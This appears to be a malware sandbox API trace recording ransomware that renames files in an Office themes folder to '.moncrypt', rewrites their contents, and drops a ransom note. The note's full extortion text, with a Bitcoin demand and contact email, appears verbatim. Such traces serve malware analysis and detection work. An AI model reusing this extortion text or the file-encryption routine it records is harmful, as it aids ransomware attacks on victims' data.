[0051.812] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.813] CloseHandle (hObject=0x18c) returned 1 [0051.813] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\я")) returned 1 [0051.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 0x54e240 [0051.814] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.814] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.814] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", dwFileAttributes=0x20) returned 1 [0051.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.moncrypt")) returned 1 [0051.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.817] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.817] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x109d0 [0051.817] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.817] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.825] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.825] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.825] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.825] GlobalUnlock (hMem=0x44000c) returned 0 [0051.825] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.825] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.825] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.825] GlobalUnlock (hMem=0x44000c) returned 0 [0051.826] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.826] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.826] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.826] GlobalUnlock (hMem=0x440004) returned 0 [0051.826] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.826] GlobalUnlock (hMem=0x44000c) returned 0 [0051.826] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.826] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.826] GlobalUnlock (hMem=0x44000c) returned 0 [0051.826] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.826] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.826] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.826] GlobalUnlock (hMem=0x44000c) returned 0 [0051.826] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.826] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.826] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.826] SetFilePointer (in: hFile=0x18c, lDistanceToMove=68048, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x109d0 [0051.827] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.827] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.827] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.838] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.838] CloseHandle (hObject=0x18c) returned 1 [0051.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.839] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.840] CloseHandle (hObject=0x18c) returned 1 [0051.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.840] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.840] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.840] GlobalUnlock (hMem=0x44000c) returned 0 [0051.840] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.840] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.840] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.840] GlobalUnlock (hMem=0x44000c) returned 0 [0051.840] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.840] GlobalUnlock (hMem=0x440004) returned 0 [0051.840] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a1c8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.841] GetLastError () returned 0x2 [0051.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.851] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.852] CloseHandle (hObject=0x18c) returned 1 [0051.852] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0051.852] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.852] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.852] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.852] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.852] GlobalUnlock (hMem=0x440004) returned 0 [0051.853] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.853] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.853] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.853] GlobalUnlock (hMem=0x440004) returned 0 [0051.853] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.853] GlobalUnlock (hMem=0x44000c) returned 0 [0051.853] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.853] CharLowerBuffW (in: lpsz="ICE.INF", cchLength=0x7 | out: lpsz="ice.inf") returned 0x7 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", lpUsedDefaultChar=0x0) returned 67 [0051.854] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\ICE\\ICE.INF", lpUsedDefaultChar=0x0) returned 4 [0051.854] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.854] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.854] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.854] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.854] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.854] GlobalUnlock (hMem=0x44000c) returned 0 [0051.854] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.854] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.854] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.854] GlobalUnlock (hMem=0x44000c) returned 0 [0051.854] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.854] GlobalUnlock (hMem=0x440004) returned 0 [0051.854] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.854] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 71 [0051.855] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\ICE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0051.855] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.855] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.855] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.855] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.855] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.855] GlobalUnlock (hMem=0x440004) returned 0 [0051.855] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.855] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.855] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.855] GlobalUnlock (hMem=0x440004) returned 0 [0051.855] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.855] GlobalUnlock (hMem=0x44000c) returned 0 [0051.855] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.856] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 